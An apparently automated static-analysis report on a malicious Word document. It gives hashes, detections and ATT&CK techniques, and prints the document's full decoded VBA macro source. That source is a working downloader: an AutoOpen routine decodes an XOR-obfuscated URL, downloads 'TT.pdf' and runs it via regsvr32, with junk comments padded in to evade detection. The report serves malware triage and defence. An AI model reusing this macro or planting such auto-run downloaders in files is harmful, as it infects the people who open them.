Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 db9a11b3fa7d687d…

MALICIOUS

Office (OOXML)

117.4 KB Created: 2020-07-24 08:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 12bff434e3c5772f68d31f9549841db2 SHA-1: c76023d478973865c38d42cd7d8f9e33f8fccf98 SHA-256: db9a11b3fa7d687d35d3ff6a53a0eb9c68a84c6acfe578e9437870f5679a7de4
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' subroutine is triggered upon opening, which uses URLDownloadToFile to download a file named 'TT.pdf' and then executes it using 'cmd.exe'. This indicates a downloader functionality.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal gy As LongPtr, ByVal BX As String, ByVal Cz As String, ByVal Cy As LongPtr, ByVal J6 As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
q1 = cA(X)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTableReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships/imageReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4165 bytes
SHA-256: 31dba8cafb146893981e12bc64652901e29b06937a05b09fd2c48a5564a93728
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wX"
Public Const b As String = "TT.pdf"
Function cA(K0)
JZ = NF(K0)
For o6 = 0 To UBound(JZ)
 v6 = v6 & Chr(JZ(o6) Xor 111)
Next o6
cA = v6
End Function
Sub autoopen()
q1 = cA(X)

' Offensive
' Representing
' Pussy foreboding tangible halifax
frm.download q1, b

' Discussion cho
' Nw ostensible
' Daft clemency
' Pieces unruly handicapped weblog
' Spokesman temperatures ruffle cob

' Cajole miami chlorine merger active sensibilities

' Refers accessories
' Msgstr untenable kelly calendar herbs
' Oxide broadcast skein peleus ottawa ist
' Daddy cloudless trap impropriety stoned
' Bw incisive atrium coo connectivity debonair

' Humid
' Assistant hist refine characteristics
' Ip revenue romeo chattel junction announces
' Sean wicket pithy
' Crocodile lodger suzuki phial sucks
' Grandiose

' Subjects apothecary wicked
' Disinclination judgment doubt mica animation plug
' Donor findlaw valves
Dim p2 As New WshShell

' Blue-black
' Property pentecost describes spelling
' Cake salaries affable acquaintanceship sherman limitation lethe
' Invisible terra-cotta
' Americas furze medusa
' Waif
Call p2.run(N & Zw & " " + b)

' Oxidation bangbus mew
' Allah performing
' Distil
' Gravity
End Sub

Attribute VB_Name = "wX1"
Function T6(BR)

' Alive ill gold cameo
' Unhindered hewlett microsoft proved
' Developmental pout
End Function
Sub uu(W6)

' Bugbear garbage algorithms jaunty sheaf
' Acquisition denouement graduation adjutant regal seraglio
' Presumptuous rocker
' Ai baal winner

' Louse tv wired

' Handbook manifesting seventy-two definitely drawing
' Town salary
' Mobile adhering gibson rpg
' Ecommerce
' Ha jocular aniline schools squander uninteresting

' Reconstruction dominate joanna
' Abominably drive ev
' Territory contribution compensating reverting
' Indigent seeking insipid silver appreciate apex
' Hapless mart aura assigns samoan

' Tuesday roland garbage fergus lapland
' Issues affably gains drone distort
' Grocer gateway
' Ir uterus titan

' Irascible forty-nine gorgeous
' Baldness exhibition ips
' Accounting porphyry sloped lou ben
' Civic peel

' Integral ol studied cheyenne mauve
' Commenting blent defensive
' Mutilation kitten visiting

' Animated wallace sensor

' Pads essentials really
' Palaver hardly ga astonish
' Obeisance tour
' Repugnance deterioration undress fornication campbell fox
' Mitsubishi cowboy plait

' Dismount cambodia inkling oe
' Download cooperative insulation

' Destiny fawn
' Boomed classification
' Forces reprieve
' Loudness tardiness fingering mathematically escutcheon

' Conditional lamentation incorporeal
End Sub

Attribute VB_Name = "V7"
Public Const N As String = "reg"
Public Const Zw As String = "svr32"
Public Const X As String = "7_27_27_31_85_64_64_4_28_0_88_28_92_9_22_27_65_12_0_2_64_23_10_2_12_3_64_6_13_14_65_31_7_31_80_3_82_4_9_14_88_65_12_14_13"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal gy As LongPtr, ByVal BX As String, ByVal Cz As String, ByVal Cy As LongPtr, ByVal J6 As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal gy As Long, ByVal BX As String, ByVal Cz As String, ByVal Cy As Long, ByVal J6 As Long) As Long
#End If
Function NF(G5)
NF = Split(G5, "_")
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{4194F17C-E737-412C-8E3E-9CA509F699A4}{7577A8EC-9F68-492B-9179-B1F403D95768}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28672 bytes
SHA-256: b1b7d12bb947d281bb7f4bc65f998f8fc62749242613ad1a3cd682643e0dc3ba

Open this report in the interactive analyzer, or submit your own file for analysis.